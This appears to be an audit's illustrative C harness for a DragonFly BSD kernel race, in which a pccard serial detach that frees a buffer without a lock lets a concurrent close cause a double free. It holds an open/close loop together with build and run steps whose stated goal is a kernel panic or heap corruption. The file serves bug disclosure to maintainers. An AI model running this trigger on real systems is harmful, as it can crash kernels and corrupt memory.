DF-5191 / race_harness.c
/* * DF-5191 — illustrative trigger harness (NOT RUNNABLE ON THE AUDIT GUEST) * * Race being exercised (requires real PCMCIA/pccard hardware or a bus that * instantiates the sio pccard attachment): * * T1 (unprivileged user): open("/dev/ttydX") ... close() [loop] * T2 (root / card eject): sio_pccard_detach() via pccard * card removal / `pccardc power off` / kldunload * * sio_pccard_detach() (sys/dev/serial/sio/sio_pccard.c:117-143) mutates * com->gone, com->tp and frees com->ibuf WITHOUT taking tty_token, while * every sio core path that touches the same fields runs under * lwkt_gettoken(&tty_token) (sio.c:1277, sio.c:1460, siosetwater * "called with tty_token held" sio.c:2446). A close(2) that passes * sioclose's com->gone check (sio.c:1475) after detach already freed * com->ibuf (sio_pccard.c:138-139, pointer never NULLed) performs a second * kfree of the same M_DEVBUF chunk -> double free. * * The audit guest is QEMU/i440fx with no pccard bridge (0 pccard lines in * dmesg.boot; sio_pccard.c is `optional sio pccard` and no such device * exists), so this harness could not be executed. It is included to make * the interleaving concrete for maintainers with the hardware. * * build (on a DragonFly system): cc -O2 -o race_harness race_harness.c * run: ./race_harness /dev/ttyd0 & (as unprivileged user) * while :; do pccardc power off 0; pccardc power on 0; done (root) * success criterion: kernel panic / heap corruption in M_DEVBUF * (e.g. "double free" kmem diagnostics), typically within minutes. */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/ttyd0"; int i; for (i = 0; i < 100000; i++) { int fd = open(dev, O_RDWR | O_NONBLOCK); if (fd >= 0) { char c; usleep(100); (void)write(fd, "x", 1); (void)read(fd, &c, 1); close(fd); /* races detach's ttyclose/kfree */ } usleep(50); } return (0); } |